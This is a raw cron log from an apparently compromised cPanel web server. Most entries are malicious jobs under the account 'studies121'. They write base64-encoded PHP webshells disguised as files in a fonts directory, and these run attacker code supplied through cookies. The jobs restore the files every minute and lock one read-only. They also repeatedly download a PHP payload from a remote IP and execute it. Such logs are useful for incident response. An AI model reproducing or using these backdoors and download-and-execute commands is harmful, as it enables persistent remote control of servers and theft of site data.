Aug 31 01:23:01 ip-184-168-122-23 CROND[5107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:23:01 ip-184-168-122-23 CROND[5110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:23:01 ip-184-168-122-23 CROND[5112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:24:01 ip-184-168-122-23 CROND[5184]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:24:01 ip-184-168-122-23 CROND[5185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:24:01 ip-184-168-122-23 CROND[5188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:24:01 ip-184-168-122-23 CROND[5187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:24:01 ip-184-168-122-23 CROND[5189]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:25:01 ip-184-168-122-23 CROND[5283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:25:01 ip-184-168-122-23 CROND[5285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:25:01 ip-184-168-122-23 CROND[5286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:25:02 ip-184-168-122-23 CROND[5288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:25:02 ip-184-168-122-23 CROND[5287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:25:02 ip-184-168-122-23 CROND[5289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:26:01 ip-184-168-122-23 CROND[5456]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:26:01 ip-184-168-122-23 CROND[5457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:26:01 ip-184-168-122-23 CROND[5458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:26:01 ip-184-168-122-23 CROND[5462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:26:01 ip-184-168-122-23 CROND[5463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:27:01 ip-184-168-122-23 CROND[5546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:27:01 ip-184-168-122-23 CROND[5545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:27:01 ip-184-168-122-23 CROND[5548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:27:01 ip-184-168-122-23 CROND[5547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:28:01 ip-184-168-122-23 CROND[5649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:28:01 ip-184-168-122-23 CROND[5650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:28:01 ip-184-168-122-23 CROND[5653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:28:01 ip-184-168-122-23 CROND[5654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:28:01 ip-184-168-122-23 CROND[5656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:29:01 ip-184-168-122-23 CROND[5755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:29:01 ip-184-168-122-23 CROND[5756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:29:01 ip-184-168-122-23 CROND[5758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:29:01 ip-184-168-122-23 CROND[5757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:30:01 ip-184-168-122-23 CROND[5843]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:30:01 ip-184-168-122-23 CROND[5844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:30:01 ip-184-168-122-23 CROND[5847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:30:01 ip-184-168-122-23 CROND[5851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:30:01 ip-184-168-122-23 CROND[5850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:30:01 ip-184-168-122-23 CROND[5853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:30:01 ip-184-168-122-23 CROND[5852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:30:01 ip-184-168-122-23 CROND[5855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:31:01 ip-184-168-122-23 CROND[5961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:31:01 ip-184-168-122-23 CROND[5966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:31:01 ip-184-168-122-23 CROND[5965]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:31:01 ip-184-168-122-23 CROND[5963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:31:01 ip-184-168-122-23 CROND[5964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:32:01 ip-184-168-122-23 CROND[6126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:32:01 ip-184-168-122-23 CROND[6129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:32:01 ip-184-168-122-23 CROND[6131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:32:01 ip-184-168-122-23 CROND[6132]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:32:01 ip-184-168-122-23 CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:33:01 ip-184-168-122-23 CROND[6220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:33:01 ip-184-168-122-23 CROND[6223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:33:01 ip-184-168-122-23 CROND[6224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:33:01 ip-184-168-122-23 CROND[6222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:34:01 ip-184-168-122-23 CROND[6308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:34:01 ip-184-168-122-23 CROND[6311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:34:01 ip-184-168-122-23 CROND[6310]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:34:01 ip-184-168-122-23 CROND[6312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:34:01 ip-184-168-122-23 CROND[6315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:35:01 ip-184-168-122-23 CROND[6406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:35:01 ip-184-168-122-23 CROND[6408]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 01:35:01 ip-184-168-122-23 CROND[6409]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:35:01 ip-184-168-122-23 CROND[6410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:35:01 ip-184-168-122-23 CROND[6419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:35:01 ip-184-168-122-23 CROND[6418]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:35:01 ip-184-168-122-23 CROND[6415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
